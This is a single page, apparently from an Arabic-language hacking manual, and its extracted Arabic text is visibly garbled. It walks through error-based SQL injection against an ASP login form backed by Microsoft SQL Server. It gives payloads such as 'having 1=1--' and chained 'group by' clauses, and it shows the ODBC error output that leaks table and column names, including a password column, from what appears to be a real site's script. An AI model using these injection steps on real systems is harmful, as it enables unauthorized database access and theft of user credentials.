Page 235 - بسم الله الرحمن الرحيم
P. 235

‫وكذلك كلمة المرور ) في بعض الحالت يمكنك إهمال كتابة كلمة مرور لن ‪ --‬ستهملها لنها تصأتصي بعد اسم‬
                                                                          ‫المستخد‪.‬م في أمر الـ ‪SQL‬‬

                     ‫تصوجهد طريقه مريحه جهدا ومضمونه بحيث أنك لن تصحتاج لتخمين أحد أسماء العمده‬
                                                                   ‫وهي أستخدا‪.‬م ‪having clause‬‬
                                                                                      ‫بالطريقه التاليه‬
                                                                     ‫أسم مستخد‪.‬م ‪'having 1=1--‬‬

                                                                ‫حيث سنحصل على رسالة ختطأ كالتاليه‬
            ‫‪'Microsoft OLE DB Provider for ODBC Drivers error '80040e14‬‬

                  ‫]‪Microsoft][ODBC SQL Server Driver][SQL Server]Column‬‬
         ‫‪'cs_isp_user.UserID' is invalid in the select list because it is not‬‬
‫‪.contained in an aggregate function and there is no GROUP BY clause‬‬

                                           ‫‪Arabic/Scripts/ar_csd_reply.asp, line 33/‬‬
                                                               ‫وبها أسم الجدول وأيضا أسم أول عمود‬

                                                      ‫بعدها لنستطيع الحصول على اسماء بقية العمده‬
                                                                              ‫سنستخد‪.‬م ‪group by‬‬
                                                                                        ‫بالشكل التالي‬

                                                        ‫‪'group by cs_isp_user.UserID--‬‬
                                                          ‫بعدها سنحصل على عمود أسمه ‪passwd‬‬

                                           ‫فنستخدمه للحصول على اسم العمود اللي يليه بالشكل التالي‬
                          ‫‪'group by cs_isp_user.UserID,cs_isp_user.passwd--‬‬
     ‫ونكرر زيادة أسم كل جهدول مع العمود إلى أن نحصل على صفحة تصخبرنا بأن أسم المستخد‪.‬م ختاطئ !‬

                            ‫نحتاج الن أن نقو‪.‬م بجمع أكبر قدر ممكن من أسماء العمده في هذا الجدول‬
                                                                                 ‫نقو‪.‬م بإدختال التالي ‪:‬‬

                                              ‫أسم مستخد‪.‬م ‪--(blah' group by (username :‬‬
                                                                           ‫فنحصل على الخطأ التالي ‪:‬‬

                                                                                                                                            ‫اقتباس‪:‬‬

                   ‫‪Microsoft OLE DB Provider for ODBC Drivers error‬‬
                                                                             ‫‪''80040e14‬‬

          ‫]‪Microsoft][ODBC SQL Server Driver][SQL Server]Invalid‬‬
                                                       ‫‪.'column name 'username‬‬

                                  ‫‪arabic/Scripts/ar_csd_reply.asp, line 33/‬‬

                                ‫وهو ما يفيد بأنه ل يوجهد عمود في هذا الجدول له السم ‪username‬‬
                ‫نقو‪.‬م بتجربه السماء الشائعه مثل ‪password ,username,id,userid,email‬‬

                                                                                     ‫‪first_name,‬‬
                                 ‫عند تصجربتنا لـ ‪ userid‬فأننا نحصل على ختطأ أختر وهو ما نبحث عنه‬

                                                                                                                                            ‫اقتباس‪:‬‬

                                              ‫‪235‬‬
   230   231   232   233   234   235   236   237   238   239   240